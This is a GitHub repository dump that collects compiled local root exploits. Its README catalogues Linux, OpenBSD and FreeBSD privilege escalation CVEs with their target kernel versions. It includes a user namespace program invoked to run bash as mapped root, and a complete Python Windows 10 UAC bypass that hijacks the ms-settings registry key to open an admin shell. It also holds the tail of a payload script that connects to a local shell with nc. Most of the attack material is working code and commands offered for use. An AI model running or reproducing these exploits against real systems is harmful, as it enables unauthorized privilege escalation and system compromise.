/bin/rm $payload 82 | 83 | /bin/echo "[*] connecting to 127.0.0.1:1337 ..." 84 | nc -v 127.0.0.1 1337 85 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Localroot Exploit 2 | 3 | This repository is a place where [Localroot](./) has been compiled and tested. 4 | 5 | 6 | *** 7 | ### Linux Kernel Exploit with Compile 8 | #### #CVE  #Description  #Kernels 9 | 10 | - [Linux kernel XFRM Subsystem UAF](./XFM-PoC) [3.x - 5.x kernels] (Ubuntu 14.04 / 16.04 Server 4.4 LTS kernels, CentOS 8 4.18 kernels, Red Hat Enterprise Linux 4 4.18 kernels, Ubuntu 18.04 Server LTS 4.15 kernels) 11 | 12 | - [CVE-2020-7247](./2020/CVE-2020-7247) [root66 OpenBSD 6.6 OpenSMTPD 6.6 local root exploit.] [OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted MAIL FROM address.] 13 | 14 | - [CVE-2019-19726](./2019/CVE-2019-19726) [OpenBSD-dynamic-loader-chpass OpenBSD local root exploit] (OpenBSD through 6.6 allows local users to escalate to root because a check for LD_LIBRARY_PATH in setuid programs can be defeated by setting a very small RLIMIT_DATA resource limit. When executing chpass or passwd (which are setuid root), _dl_setup_env in ld.so tries to strip LD_LIBRARY_PATH from the environment, but fails when it cannot allocate memory. Thus, the attacker is able to execute their own library code as root.) 15 | 16 | - [CVE-2019-19520](./2019/CVE-2019-19520) [OpenBSD-authroot OpenBSD local root exploit.] 17 | (xlock in OpenBSD 6.6 allows local users to gain the privileges of the auth group by providing a LIBGL_DRIVERS_PATH environment variable, because xenocara/lib/mesa/src/loader/loader.c mishandles dlopen. OpenBSD 6.6, in a non-default configuration where S/Key or YubiKey authentication is enabled, allows local users to become root by leveraging membership in the auth group. This occurs because root's file can be written to /etc/skey or /var/db/yubikey, and need not be owned by root.) 18 | 19 | - [CVE-2019-13272](./2019/CVE-2019/13272) [Linux 4.10 < 5.1.17 PTRACE_TRACEME] 20 | (Ubuntu 16.04.5, Debian 9.4.0, Parrot OS 4.5.1, ElementaryOS 0.4.1, etc) 21 | 22 | - [CVE-2019-12181](./2019/CVE-2019-12181) [Serv-U FTP Server] 23 | (FTP Server versions prior to 15.1.7) 24 | 25 | - [CVE-2019-7304](./2019/CVE-2019-7304) [Canonical snapd before version 2.37.1 incorrectly performed socket owner validation] 26 | (Ubuntu 14.04, 16.04, 18.04, 18.10) 27 | 28 | - [CVE-2018-1000001](./2018/CVE-2018-1000001/) [glibc] 29 | (glibc <= 2.26) 30 | 31 | - [CVE-2018-16323](./2018/CVE-2018-16323) [ReadXBMImage in coders/xbm.c in ImageMagick] 32 | (Ubuntu 14.04, 16.04, 18.04) 33 | 34 | - [CVE-2018-14665](./2018/CVE-2018-14665) [xorg-x11-server < 1.20.1] 35 | (RHEL 7.3 && 7.5) 36 | 37 | - [CVE-2018-14634](./2018/CVE-2018-14634) [Integer overflow in Linux's create_elf_tables()] 38 | (Affect kernel versions 2.6.x, 3.10.x and 4.14.x) 39 | 40 | - [Windows 10 UAC Bypass](./Windows) [Windows 10 UAC Bypass by computerDefault] 41 | 42 | - [CVE–2018–18955](./2018/)  [Ubuntu 16.04.4 kernel priv esc] 43 | (Tested : 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64) 44 | 45 | - [CVE-2017-1000367](./2017/CVE-2017-1000367)  [Sudo] 46 | (Sudo 1.8.6p7 - 1.8.20) 47 | 48 | - [CVE-2017-1000112](./2017/CVE-2017-1000112) [KASLR and SMEP bypass] 49 | ( Ubuntu trusty 4.4.0 kernels, Ubuntu xenial 4.4.0 and 4.8.0 kernels, Linux Mint rosa 4.4.0 kernels, Linux Mint sarah 4.8.0 kernels, Zorin OS 12.1 4.4.0-39 kernel) 50 | 51 | - [CVE-2017-18344](./2017/CVE-2017-18344) [KASLR and SMEP bypass] 52 | (Ubuntu xenial 4.4.0-116-generic and 4.13.0-38-generic and on CentOS 7 3.10.0-862.9.1.el7.x86_64) 53 | 54 | - [CVE-2017-16995](./2017/CVE-2017-16995)  [Memory corruption caused by BPF verifier] 55 | (Linux kernel before 4.14 - 4.4) 56 | 57 | - [CVE-2017-11176](./2017/CVE-2017-11176) [mq_notify: double sock_put()] 58 | 59 | - [CVE-2017-7308](./2017/CVE-2017-7308)  [a signedness issue in AF\_PACKET sockets] 60 | (Linux kernel through 4.10.6) 61 | 62 | - [CVE-2017-6074](./2017/CVE-2017-6074)  [a double-free in DCCP protocol] 63 | (Linux kernel through 4.9.11) 64 | 65 | - [CVE-2016-9793](./2016/CVE-2016-9793)  [a signedness issue with SO\_SNDBUFFORCE and SO\_RCVBUFFORCE socket options] 66 | (Linux kernel before 4.8.14) 67 | 68 | - [CVE-2016-8655](./2016/CVE-2016-8655) [linux AF_PACKET race condition exploit] 69 | (For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74) 70 | 71 | - [CVE-2016-5195](./2016/CVE-2016-5195)  [Dirty cow] 72 | (Linux kernel>2.6.22 (released in 2007)) 73 | 74 | - [CVE-2015-1328](./2015/CVE-2015-1328)  [overlayfs] 75 | (3.13, 3.16.0, 3.19.0) 76 | 77 | - [CVE-2014-4699](./2014/CVE-2014-4699/)  [ptrace] 78 | (before 3.15.4) 79 | 80 | - [CVE-2014-4014](./2014/CVE-2014-4014/)  [Local Privilege Escalation] 81 | (before 3.14.8) 82 | 83 | - [CVE-2014-3153](./2014/CVE-2014-3153/)  [futex] 84 | (3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5 ,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32 ,2.6.9 ,2.6.8 ,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1) 85 | 86 | - [CVE-2014-0196](./2014/CVE-2014-0196/)  [rawmodePTY] 87 | (2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.14, 3.15) 88 | 89 | - [CVE-2014-0038](./2014/CVE-2014-0038/)  [timeoutpwn] 90 | (3.4, 3.5, 3.6, 3.7, 3.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1) 91 | 92 | - [CVE-2013-2171](./2013/CVE-2013-2171/) [nmap/ptrace exploit] 93 | (FreeBSD 9.1] 94 | 95 | - [CVE-2013-2094](./2013/CVE-2013-2094/) [perf_swevent_init] 96 | (Ubuntu 12.04.0 > 12.04.2) 97 | 98 | - [CVE-2013-1763](./2013/CVE-2013-1763/) [Array index error in the __sock_diag_rcv_msg function in net/core/sock_diag.c] 99 | (3.3 - 3.7 arch) 100 | 101 | - [CVE-2012-0217](./2012/CVE-2012-0217/) [Intel SYSRET] 102 | (FreeBSD 9.0) 103 | 104 | - [CVE-2011-4862](./2011/CVE-2011-4862/) [Buffer overflow in libtelnet/encrypt.c] 105 | (FreeBSD 7.3 > 9.0) 106 | 107 | ## Disclaimer 108 | Any actions and or activities related to the material contained within this [tools](./) is solely your responsibility. The misuse of the information in this [tools](./) can result in criminal charges brought against the persons in question. 109 | 110 | *** 111 | 112 | ### ***Contact me*** 113 | ***Website*** : [Valeiriya.osaka](https://github.valeiriya.osaka/) 114 | 115 | ***Twitter*** : [AnoaGhost](https://twitter.com/AnoaGhost) 116 | ### 117 | -------------------------------------------------------------------------------- /User-Name-Space-Linux-Privilege-Escalation-Ubuntu-18.04-LTS-Lucideus/README.md: -------------------------------------------------------------------------------- 1 | # User Name Space Linux Privilege Escalation| Ubuntu 18.04 LTS (Localroot Exploit) # 2 | 3 | ./user -p -m -U -M '0 1000 1' -G '0 1000 1' bash 4 | 5 | Source: ***https://www.youtube.com/watch?v=R7mtjN2B6ec*** 6 | -------------------------------------------------------------------------------- /User-Name-Space-Linux-Privilege-Escalation-Ubuntu-18.04-LTS-Lucideus/user: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/User-Name-Space-Linux-Privilege-Escalation-Ubuntu-18.04-LTS-Lucideus/user -------------------------------------------------------------------------------- /User-Name-Space-Linux-Privilege-Escalation-Ubuntu-18.04-LTS-Lucideus/user.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | /* A simple error-handling function: print an error message based 14 | on the value in 'errno' and terminate the calling process */ 15 | 16 | #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ 17 | } while (0) 18 | 19 | struct child_args { 20 | char **argv; /* Command to be executed by child, with args */ 21 | int pipe_fd[2]; /* Pipe used to synchronize parent and child */ 22 | }; 23 | 24 | static int verbose; 25 | 26 | static void 27 | usage(char *pname) 28 | { 29 | fprintf(stderr, "Usage: %s [options] cmd [args...]\n\n", pname); 30 | fprintf(stderr, "Create a child process that executes a shell " 31 | "command in a new user namespace,\n" 32 | "and possibly also other new namespace(s).\n\n"); 33 | fprintf(stderr, "Options can be:\n\n"); 34 | #define fpe(str) fprintf(stderr, " %s", str); 35 | fpe("-i New IPC namespace\n"); 36 | fpe("-m New mount namespace\n"); 37 | fpe("-n New network namespace\n"); 38 | fpe("-p New PID namespace\n"); 39 | fpe("-u New UTS namespace\n"); 40 | fpe("-U New user namespace\n"); 41 | fpe("-M uid_map Specify UID map for user namespace\n"); 42 | fpe("-G gid_map Specify GID map for user namespace\n"); 43 | fpe("-z Map user's UID and GID to 0 in user namespace\n"); 44 | fpe(" (equivalent to: -M '0 1' -G 'o 1')\n"); 45 | fpe("-v Display verbose messages\n"); 46 | fpe("\n"); 47 | fpe("If -z, -M, or -G is specified, -U is required.\n"); 48 | fpe("It is not permitted to specify both -z and either -M or -G.\n"); 49 | fpe("\n"); 50 | fpe("Map strings for -M and -G consist of records of the form:\n"); 51 | fpe("\n"); 52 | fpe(" ID-inside-ns ID-outside-ns len\n"); 53 | fpe("\n"); 54 | fpe("A map string can contain multiple records, separated" 55 | " by commas;\n"); 56 | fpe("the commas are replaced by newlines before writing" 57 | " to map files.\n"); 58 | 59 | exit(EXIT_FAILURE); 60 | 61 | } 62 | 63 | /* Update the mapping file 'map_file', with the value provided in 64 | 'mapping', a string that defines a UID or GID mapping. A UID or 65 | GID mapping consists of one or more newline-delimited records 66 | of the form: 67 | 68 | ID_inside-ns ID-outisde-ns length 69 | 70 | Requiring the user to supply a string that contains newlines is 71 | of course inconvenient for command-line use. Thus, we permit the 72 | use of commas to delimit records in this string, and replace them 73 | with newlines before writing the string to the file. */ 74 | 75 | static void 76 | update_map(char *mapping, char *map_file) 77 | { 78 | int fd, j; 79 | size_t map_len; /* Length of 'mapping' */ 80 | 81 | /* Replace commas in mapping string with newlines */ 82 | 83 | map_len = strlen(mapping); 84 | for (j = 0; j < map_len; j++) 85 | if (mapping[j] == ',') 86 | mapping[j] = '\n'; 87 | 88 | fd = open(map_file, O_RDWR); 89 | if (fd == -1) { 90 | fprintf(stderr, "ERROR: open %s: %s\n", map_file, 91 | strerror(errno)); 92 | exit(EXIT_FAILURE); 93 | } 94 | 95 | if (write(fd, mapping, map_len) != map_len) { 96 | fprintf(stderr, "ERROR: write %s: %s\n", map_file, 97 | strerror(errno)); 98 | exit(EXIT_FAILURE); 99 | } 100 | 101 | close(fd); 102 | } 103 | 104 | /* Linux 3.19 made a change in the handling of setgroups(2) and the 105 | 'gid_map' file to address a security issue. The issue allowed 106 | *unprivileged* users to employ user namespaces in order to drop 107 | The upshot of the 3.19 changes is that in order to update the 108 | 'gid_maps' file, use of the setgroups() system call in this 109 | user namespace must first be disabled by writing "deny" to one of 110 | the /proc/PID/setgroups files for this namespace. That is the 111 | purpose of the following function. */ 112 | 113 | static void 114 | proc_setgroups_write(pid_t child_pid, char *str) 115 | { 116 | char setgroups_path[PATH_MAX]; 117 | int fd; 118 | 119 | snprintf(setgroups_path, PATH_MAX, "/proc/%ld/setgroups", 120 | (long) child_pid); 121 | 122 | fd = open(setgroups_path, O_RDWR); 123 | if (fd == -1) { 124 | 125 | /* We may be on a system that doesn't support 126 | /proc/PID/setgroups. In that case, the file won't exist, 127 | and the system won't impose the restrictions that Linux 3.19 128 | added. That's fine: we don't need to do anything in order 129 | to permit 'gid_map' to be updated. 130 | 131 | However, if the error from open() was something other than 132 | the ENOENT error that is expected for that case, let the 133 | user know. */ 134 | 135 | if (errno != ENOENT) 136 | fprintf(stderr, "ERROR: open %s: %s\n", setgroups_path, 137 | strerror(errno)); 138 | return; 139 | } 140 | 141 | if (write(fd, str, strlen(str)) == -1) 142 | fprintf(stderr, "ERROR: write %s: %s\n", setgroups_path, 143 | strerror(errno)); 144 | 145 | close(fd); 146 | } 147 | 148 | static int /* Start function for cloned child */ 149 | childFunc(void *arg) 150 | { 151 | struct child_args *args = (struct child_args *) arg; 152 | char ch; 153 | 154 | /* Wait until the parent has updated the UID and GID mappings. 155 | See the comment in main(). We wait for end of file on a 156 | pipe that will be closed by the parent process once it has 157 | updated the mappings. */ 158 | 159 | close(args->pipe_fd[1]); /* Close our descriptor for the write 160 | end of the pipe so that we see EOF 161 | when parent closes its descriptor */ 162 | if (read(args->pipe_fd[0], &ch, 1) != 0) { 163 | fprintf(stderr, 164 | "Failure in child: read from pipe returned != 0\n"); 165 | exit(EXIT_FAILURE); 166 | } 167 | 168 | close(args->pipe_fd[0]); 169 | 170 | /* Execute a shell command */ 171 | 172 | printf("About to exec %s\n", args->argv[0]); 173 | execvp(args->argv[0], args->argv); 174 | errExit("execvp"); 175 | } 176 | 177 | #define STACK_SIZE (1024 * 1024) 178 | 179 | static char child_stack[STACK_SIZE]; /*Space for child's stack */ 180 | 181 | int 182 | main(int argc, char *argv[]) 183 | { 184 | int flags, opt, map_zero; 185 | pid_t child_pid; 186 | struct child_args args; 187 | char *uid_map, *gid_map; 188 | const int MAP_BUF_SIZE = 100; 189 | char map_buf[MAP_BUF_SIZE]; 190 | char map_path[PATH_MAX]; 191 | 192 | /* Parse command-line options. The initial '+' character in 193 | the final getopt() argument prevents GNU-style permutation 194 | of command-line options. That's useful, since sometimes 195 | the 'command' to be executed by this program itself 196 | has command-line options. We don't want getopt() to treat 197 | those as options to this program. */ 198 | 199 | flags = 0; 200 | verbose = 0; 201 | gid_map = NULL; 202 | uid_map = NULL; 203 | map_zero = 0; 204 | while ((opt = getopt(argc, argv, "+imnpuUM:G:zv")) != -1) { 205 | switch (opt) { 206 | case 'i': flags |= CLONE_NEWIPC; break; 207 | case 'm': flags |= CLONE_NEWNS; break; 208 | case 'n': flags |= CLONE_NEWNET; break; 209 | case 'p': flags |= CLONE_NEWPID; break; 210 | case 'u': flags |= CLONE_NEWUTS; break; 211 | case 'v': verbose = 1; break; 212 | case 'z': map_zero = 1; break; 213 | case 'M': uid_map = optarg; break; 214 | case 'G': gid_map = optarg; break; 215 | case 'U': flags |= CLONE_NEWUSER; break; 216 | default: usage(argv[0]); 217 | } 218 | } 219 | 220 | /* -M or -G without -U is nonsensical */ 221 | 222 | if (((uid_map != NULL || gid_map != NULL || map_zero) && 223 | !(flags & CLONE_NEWUSER)) || 224 | (map_zero && (uid_map != NULL || gid_map != NULL))) 225 | usage(argv[0]); 226 | 227 | args.argv = &argv[optind]; 228 | 229 | /* We use a pipe to synchronize the parent and child, in order to 230 | ensure that the parent sets the UID and GID maps before the child 231 | calls execve(). This ensures that the child maintains its 232 | capabilities during the execve() in the common case where we 233 | want to map the child's effective user ID to 0 in the new user 234 | namespace. Without this synchronization, the child would lose 235 | its capabilities if it performed an execve() with nonzero 236 | user IDs (see the capabilities(7) man page for details of the 237 | transformation of a process's capabilities during execve()). */ 238 | 239 | if (pipe(args.pipe_fd) == -1) 240 | errExit("pipe"); 241 | 242 | /* Create the child in new namespace(s) */ 243 | 244 | child_pid = clone(childFunc, child_stack + STACK_SIZE, 245 | flags | SIGCHLD, &args); 246 | if (child_pid == -1) 247 | errExit("clone"); 248 | 249 | /* Parent falls through to here */ 250 | 251 | if (verbose) 252 | printf("%s: PID of child created by clone() is %ld\n", 253 | argv[0], (long) child_pid); 254 | 255 | /* Update teh UID and GID maps in the child */ 256 | 257 | if (uid_map != NULL || map_zero) { 258 | snprintf(map_path, PATH_MAX, "/proc/%ld/uid_map", 259 | (long) child_pid); 260 | if (map_zero) { 261 | snprintf(map_buf, MAP_BUF_SIZE, "0 %ld 1", (long) getuid()); 262 | uid_map = map_buf; 263 | } 264 | update_map(uid_map, map_path); 265 | } 266 | 267 | if (gid_map != NULL || map_zero) { 268 | proc_setgroups_write(child_pid, "deny"); 269 | 270 | snprintf(map_path, PATH_MAX, "/proc/%ld/gid_map", 271 | (long) child_pid); 272 | if (map_zero) { 273 | snprintf(map_buf, MAP_BUF_SIZE, "0 %ld 1", (long) getgid()); 274 | gid_map = map_buf; 275 | } 276 | update_map(gid_map, map_path); 277 | } 278 | 279 | /* Close the write end of the pipe, to signal the child that we 280 | have updated the UID and GID maps */ 281 | 282 | close(args.pipe_fd[1]); 283 | 284 | if (waitpid(child_pid, NULL, 0) == -1) /* Wait for child */ 285 | errExit("waitpid"); 286 | 287 | if (verbose) 288 | printf("%s: terminating\n", argv[0]); 289 | 290 | exit(EXIT_SUCCESS); 291 | } 292 | -------------------------------------------------------------------------------- /Windows/st0rnpentest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Exploit Title: Windows 10 UAC Bypass by computerDefault 4 | # Date: 2018-10-18 5 | # Exploit Author: Fabien DROMAS - Security consultant @ Synetis 6 | # Twitter: st0rnpentest 7 | # 8 | # Vendor Homepage: www.microsoft.com 9 | # Version: Version 10.0.17134.285 10 | # Tested on: Windows 10 pro Version 10.0.17134.285 11 | # 12 | 13 | import os 14 | import sys 15 | import ctypes 16 | import _winreg 17 | 18 | 19 | def create_reg_key(key, value): 20 | try: 21 | _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command') 22 | registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command', 0, _winreg.KEY_WRITE) 23 | _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value) 24 | _winreg.CloseKey(registry_key) 25 | except WindowsError: 26 | raise 27 | 28 | def exec_bypass_uac(cmd): 29 | try: 30 | create_reg_key('DelegateExecute', '') 31 | create_reg_key(None, cmd) 32 | except WindowsError: 33 | raise 34 | 35 | def bypass_uac(): 36 | try: 37 | current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__ 38 | cmd = "C:\windows\System32\cmd.exe" 39 | exec_bypass_uac(cmd) 40 | os.system(r'C:\windows\system32\ComputerDefaults.exe') 41 | return 1 42 | except WindowsError: 43 | sys.exit(1) 44 | 45 | if __name__ == '__main__': 46 | 47 | if bypass_uac(): 48 | print "Enjoy your Admin Shell :)" 49 | -------------------------------------------------------------------------------- /XFM-PoC/README.md: -------------------------------------------------------------------------------- 1 | # XFM-PoC : Linux kernel XFRM Subsystem UAF (3.x - 5.x kernels) # 2 | 3 | ## Proof of Concept ## 4 | 5 | 6 | ### Affeced Linux dist: 7 | #### 8 | - Ubuntu 14.04 / 16.04 Server 4.4 LTS kernels 9 | - CentOS 8 4.18 kernels 10 | - Red Hat Enterprise Linux 4 4.18 kernels 11 | - Ubuntu 18.04 Server LTS 4.15 kernels 12 | #### 13 | 14 | ***Source: https://github.com/duasynt/xfrm_poc/*** 15 | -------------------------------------------------------------------------------- /XFM-PoC/poc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/XFM-PoC/poc -------------------------------------------------------------------------------- /XFM-PoC/proof.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/XFM-PoC/proof.png --------------------------------------------------------------------------------